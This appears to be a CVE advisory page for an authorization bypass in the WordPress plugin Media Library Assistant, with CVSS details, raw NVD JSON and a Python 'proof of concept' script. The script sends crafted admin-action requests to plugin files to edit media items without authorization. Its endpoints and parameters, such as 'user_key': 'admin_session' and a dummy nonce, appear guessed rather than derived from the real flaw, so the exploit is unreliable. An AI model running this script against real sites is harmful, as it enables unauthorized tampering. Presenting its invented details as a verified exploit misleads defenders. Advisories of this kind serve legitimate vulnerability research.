Security Vulnerability Report
中文
CVE-2025-63065 CVSS 5.3 MEDIUM

CVE-2025-63065

Published: 2025-12-09 16:18:12
Last Modified: 2026-04-27 19:16:21

Description

Authorization Bypass Through User-Controlled Key vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Media LIbrary Assistant: from n/a through <= 3.29.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Media Library Assistant <= 3.29

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63065 Media Library Assistant Authorization Bypass PoC # Description: Authorization bypass through user-controlled key in Media Library Assistant plugin # Affected: Media Library Assistant <= 3.29 import requests import sys TARGET_URL = "http://target-wordpress-site.com" TARGET_PLUGIN_PATH = "/wp-content/plugins/media-library-assistant/" def exploit_authorization_bypass(): """ Exploit the broken access control vulnerability by manipulating user-controlled keys to bypass authorization checks. """ # Step 1: Identify the vulnerable endpoint vulnerable_endpoints = [ f"{TARGET_URL}{TARGET_PLUGIN_PATH}class-mla-data-main.php", f"{TARGET_URL}{TARGET_PLUGIN_PATH}includes/class-mla-file-handler.php", f"{TARGET_URL}{TARGET_PLUGIN_PATH}mla-media-modal.php" ] # Step 2: Craft malicious request with user-controlled key # The vulnerability allows authorization bypass through manipulated parameters malicious_params = { 'mla_admin_action': 'edit', # Target admin action 'mla_item_ids': '1,2,3', # Target media items 'user_key': 'admin_session', # User-controlled key for bypass '_wpnonce': 'dummy_nonce', # Invalid nonce } # Step 3: Send unauthorized request for endpoint in vulnerable_endpoints: try: response = requests.post(endpoint, data=malicious_params, timeout=10) # Check for successful bypass indicators if response.status_code == 200: if 'success' in response.text.lower() or 'updated' in response.text.lower(): print(f"[+] Potential authorization bypass at: {endpoint}") print(f"[+] Response indicates unauthorized access granted") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-63065 Media Library Assistant Authorization Bypass") print("=" * 60) if exploit_authorization_bypass(): print("\n[!] Vulnerability confirmed - Update to Media Library Assistant >= 3.30") else: print("\n[-] No vulnerability detected or target not affected")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63065", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:12.170", "lastModified": "2026-04-27T19:16:20.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Media LIbrary Assistant: from n/a through <= 3.29."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/media-library-assistant/vulnerability/wordpress-media-library-assistant-plugin-3-30-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}